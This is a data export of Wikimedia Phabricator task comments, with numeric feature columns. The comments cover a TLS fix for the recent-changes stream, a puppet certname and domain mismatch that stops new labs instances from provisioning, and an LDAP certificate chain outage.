[[https://gerrit.wikimedia.org/r/220222]]",,,1435098280,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-esfuftpfqk6ncyxxwpka,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.2631578947368425,0.8421052631578947,"Change 220222 merged by Faidon Liambotis:
rcstream: fix TLS configuration

[[GERRIT_URL]]"
480397,stream.wikimedia.org speaks http (not https) on port 443,"Change 220222 had a related patch set uploaded (by Faidon Liambotis):
rcstream: fix TLS configuration

[[https://gerrit.wikimedia.org/r/220222]]
",,,1435098241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-esfuftpfqk6ncyxxwpka,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.038461538461538,0.8846153846153846,"Change 220222 had a related patch set uploaded (by Faidon Liambotis):
rcstream: fix TLS configuration

[[GERRIT_URL]]
"
102108,New jessie instance can't attach to puppet due to wrong certname,"I have created a new Jessie instance integration-lightslave-jessie-1002 which points to a self puppet master.  The puppet conf has:
```
lang=ini
[agent]
server = integration-puppetmaster.eqiad.wmflabs
certname = i-00000cdb.eqiad.wmflabs
```

Running puppet I am yield:
```
Warning: Server hostname 'integration-puppetmaster.eqiad.wmflabs' did not match server certificate;
expected one of
i-00000a4c.integration.eqiad.wmflabs,
DNS:i-00000a4c.integration.eqiad.wmflabs,
DNS:integration-puppetmaster.integration.eqiad.wmflabs,
DNS:puppet,
DNS:puppet.integration.eqiad.wmflabs
```

/etc/resolv.conf has:
```
domain integration.eqiad.wmflabs
search integration.eqiad.wmflabs eqiad.wmflabs
nameserver 208.80.154.20
options timeout:5 ndots:2
```

[[ https://wikitech.wikimedia.org/wiki/Hiera:Integration | Hiera:integration ]] has:
```
lang=yaml
classes:
   - role::puppet::self
""role::puppet::self::master"": integration-puppetmaster
""role::puppet::self::enc"": yaml+ldap
```",Needs Triage,90.0,1434015366,1434399669.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-sex2jqdfyj7742snrx4o,task_description,resolved,True,c3,1,True,True,True,-3,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,4.75,0.8125,"I have created a new Jessie instance integration-lightslave-jessie-1002 which points to a self puppet master.  The puppet conf has:
``CODE`CODE`CODE`CODE`CODE`CODE`CODE``"
490772,New jessie instance can't attach to puppet due to wrong certname,I have deleted the two tests instances I created on the integration labs project.,,,1436781831,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,0.8666666666666667,I have deleted the two tests instances I created on the integration labs project.
474990,New jessie instance can't attach to puppet due to wrong certname,The puppet signer has been fixed by Andrew.  The two instances I created (suffixed `-new2`) are both working fine as far as I can tell.,,,1434399669,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6,0.8666666666666667,The puppet signer has been fixed by Andrew.  The two instances I created (suffixed CODE) are both working fine as far as I can tell.
474969,New jessie instance can't attach to puppet due to wrong certname,"I deleted the previous instances and created two fresh ones with puppet.git up-to-date.

**integration-t102108-trusty-new2** https://horizon.wikimedia.org/project/instances/ee1fa9f9-0aac-4d0b-97e0-dbff0619ff0f/console

**integration-t102108-jessie-new2** https://horizon.wikimedia.org/project/instances/e4866b5a-2407-40fe-b333-43dbdae740de/console

They both suffer from a 3 minutes boot delay because there is no NFS server available.  The shared NFS has been disabled on `integration`  T90610#1344487

Filling another task.",,,1434398944,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,1.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,13.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,8.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.8205128205128207,0.6794871794871795,"I deleted the previous instances and created two fresh ones with puppet.git up-to-date.

**integration-t102108-trusty-new2** URL

**integration-t102108-jessie-new2** URL

They both suffer from a 3 minutes boot delay because there is no NFS server available.  The shared NFS has been disabled on CODE  T90610#1344487

Filling another task."
474674,New jessie instance can't attach to puppet due to wrong certname,"From a discussion with Andrew:

Seems to be caused by the puppet signer on  labcontrol1001 . Instances hit the generic puppet master to be able to apply ::self. The signer does not always which is filled as T102193.",,,1434377759,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,13.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,18.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.977777777777778,0.7777777777777778,"From a discussion with Andrew:

Seems to be caused by the puppet signer on  labcontrol1001 . Instances hit the generic puppet master to be able to apply ::self. The signer does not always which is filled as T102193."
474638,New jessie instance can't attach to puppet due to wrong certname,"On the `integration` project which uses custom salt and puppet masters, I have created an instance for Jessie and one for Trusty. None works :-D

**integration-t102108-jessie-new**

[[ https://horizon.wikimedia.org/project/instances/ff7a99fe-778d-4204-8ab9-4559f797ecff/console | Horizon console ]]

**integration-t102108-trusty-new**

[[ https://horizon.wikimedia.org/project/instances/d538199f-0aae-4e75-8914-d7440376e048/console | Horizon console ]]

Might be some oddity with our puppet/salt masters configurations though.",,,1434373960,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,13.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,5.0,8.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,3.5357142857142856,0.5833333333333334,"On the CODE project which uses custom salt and puppet masters, I have created an instance for Jessie and one for Trusty. None works :-D

**integration-t102108-jessie-new**

[[ URL | Horizon console ]]

**integration-t102108-trusty-new**

[[ URL | Horizon console ]]

Might be some oddity with our puppet/salt masters configurations though."
474145,New jessie instance can't attach to puppet due to wrong certname,"OK, I'm confident this is resolved with the new images.  Reopen if you still can't get it to work.",,,1434214073,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,12.0,12.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.96,"OK, I'm confident this is resolved with the new images.  Reopen if you still can't get it to work."
473494,New jessie instance can't attach to puppet due to wrong certname,"I'm still fighting with Jessie, but can you validate that the Trusty (testing) image works properly for you?",,,1434080660,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,13.0,9.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.9565217391304346,0.9565217391304348,"I'm still fighting with Jessie, but can you validate that the Trusty (testing) image works properly for you?"
472967,New jessie instance can't attach to puppet due to wrong certname,"I think the issue is that new instances have the wrong domain, which means they can't contact the puppet server, which means they can't fix their domain.

I'll be building a new base image today -- we'll check and make sure it helps.",,,1434032305,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,4.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6923076923076925,0.75,"I think the issue is that new instances have the wrong domain, which means they can't contact the puppet server, which means they can't fix their domain.

I'll be building a new base image today -- we'll check and make sure it helps."
472964,New jessie instance can't attach to puppet due to wrong certname,"integration-t102108 is a Puppet client of integration-puppetmaster.eqiad.wmflabs (puppetclient)

Same error:
```
Info: Caching certificate for i-00000cdc.eqiad.wmflabs
Error: Could not request certificate:
Server hostname 'integration-puppetmaster.eqiad.wmflabs' did not match server certificate; expected one of
  i-00000a4c.integration.eqiad.wmflabs,
  DNS:i-00000a4c.integration.eqiad.wmflabs,
  DNS:integration-puppetmaster.integration.eqiad.wmflabs,
  DNS:puppet, DNS:puppet.integration.eqiad.wmflabs

Exiting; failed to retrieve certificate and waitforcert is disabled
```

Was provisioned with puppet.conf agent.server = integration-puppetmaster.eqiad.wmflabs which is not in the least of expected entries.


There is one based on the ec2id:  i-00000a4c.integration.eqiad.wmflabs

Another one using the new dns scheme: integration-puppetmaster.integration.eqiad.wmflabs

------

I guess you need to adjust modules/labs_bootstrapvz/files/firstboot.sh and generate a new Jessie image. It has:
```
domain=`hostname -d`   # now yields integration.eqiad.wmflabs
if [ ""${domain}"" == ""eqiad.wmflabs"" ]
then
    master=""labs-puppetmaster.wikimedia.org""
    master_secondary=""labcontrol2001.wikimedia.org""
fi
```

So I guess at this point $master and $master_secondary are unset. But:

```
sed -i ""s/_FQDN_/${idfqdn}/g"" /etc/puppet/puppet.conf
sed -i ""s/_MASTER_/${master}/g"" /etc/puppet/puppet.conf
```

idfqdn being set to i-00000cdc.integration.eqiad.wmflabs


",,,1434032014,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.666666666666667,0.8666666666666667,"integration-t102108 is a Puppet client of integration-puppetmaster.eqiad.wmflabs (puppetclient)

Same error:
``CODE`CODE`CODEhostname -dCODE`CODE`CODE``

idfqdn being set to i-00000cdc.integration.eqiad.wmflabs


"
472961,New jessie instance can't attach to puppet due to wrong certname,I have created a new instance integration-t102108.eqiad.wmflabs . Let see what happens.,,,1434031265,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,5.846153846153846,0.9230769230769231,I have created a new instance integration-t102108.eqiad.wmflabs . Let see what happens.
472960,New jessie instance can't attach to puppet due to wrong certname,integration-t102108,,,1434031242,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.0,integration-t102108
472954,New jessie instance can't attach to puppet due to wrong certname,Seems like this must have been due to an un-updated puppet repo on the master.  Is that right?,,,1434030822,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.347826086956522,1.0,Seems like this must have been due to an un-updated puppet repo on the master.  Is that right?
472825,New jessie instance can't attach to puppet due to wrong certname,I just reverted https://wikitech.wikimedia.org/w/index.php?title=Hiera%3AIntegration&type=revision&diff=162646&oldid=162643 and it seems to be ok.,,,1434016714,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,I just reverted URL and it seems to be ok.
472822,New jessie instance can't attach to puppet due to wrong certname,"Puppet did:
```
lang=diff
 [agent]
-server = integration-puppetmaster.eqiad.wmflabs
+server = integration-puppetmaster.integration.eqiad.wmflabs
 configtimeout = 480
 splay = true
 prerun_command = /etc/puppet/etckeeper-commit-pre
 postrun_command = /etc/puppet/etckeeper-commit-post
 pluginsync = true
 report = true
-certname = i-00000cdb.eqiad.wmflabs
+certname = i-00000cdb.integration.eqiad.wmflabs
```",,,1434016674,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.111111111111111,0.6666666666666666,"Puppet did:
``CODE``"
472819,New jessie instance can't attach to puppet due to wrong certname,Seems to work now.,,,1434016527,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Seems to work now.
472818,New jessie instance can't attach to puppet due to wrong certname,https://gerrit.wikimedia.org/r/#/c/215333/ asserts that role::puppet::self::master is set to a simple hostname (no fqdn).  @YuviPanda reverted the Hiera:Integration change ( https://wikitech.wikimedia.org/w/index.php?title=Hiera:Integration&action=history ).,,,1434016407,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,19.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.6923076923076925,0.8461538461538461,URL asserts that role::puppet::self::master is set to a simple hostname (no fqdn). SCREEN_NAME reverted the Hiera:Integration change ( URL ).
472813,New jessie instance can't attach to puppet due to wrong certname,"I have changed in Hiera:integration the puppet master from 'integration-puppetmaster' to 'integration-puppetmaster.integration.eqiad.wmflabs' https://phabricator.wikimedia.org/T102108

Then manually tweaked /etc/puppet/puppet.conf:
```
lang=diff
[agent]
- server = integration-puppetmaster.eqiad.wmflabs
+ server = integration-puppetmaster.integration.eqiad.wmflabs
```

The connection works but the server side catalog compilation fails:
```
Error: Could not retrieve catalog from remote server:
Error 400 on SERVER: must be a simple hostname.  The project-specific domain will be automatically appended. at /etc/puppet/manifests/role/puppet.pp:67 on node i-00000cdb.eqiad.wmflabs
```

Which is role::puppet::self:
```
    if $master != undef {
        if $master =~ /\./ {
            fail(""$::puppetmaster must be a simple hostname.  The project-specific domain will be automatically appended."")
        }
```
",,,1434015933,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.473684210526316,0.7105263157894737,"I have changed in Hiera:integration the puppet master from 'integration-puppetmaster' to 'integration-puppetmaster.integration.eqiad.wmflabs' URL

Then manually tweaked /etc/puppet/puppet.conf:
``CODE`CODE`CODE`CODE`CODE``
"
472811,New jessie instance can't attach to puppet due to wrong certname,Is puppetmaster running latest puppet?,,,1434015423,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,5.666666666666667,1.0,Is puppetmaster running latest puppet?
101317,Fix cert handling in our ldap servers,"We just had an ldap outage because the ldap cert setup is... unexpected.


[4:55pm] paravoid: this is pretty broken in general
[4:55pm] Coren: paravoid: What was the issue?
[4:55pm] paravoid: ldap.conf was pointing to /etc/ssl/certs/GlobalSign_CA.pem as the CA
[4:55pm] paravoid: which is pretty broken
[4:55pm] paravoid: that's a single intermediate CA, not a certificate store
[4:56pm] paravoid: also, OpenDJ seems to serve just its certificate, not a chain up to a root
[4:56pm] paravoid: also quite broken
...
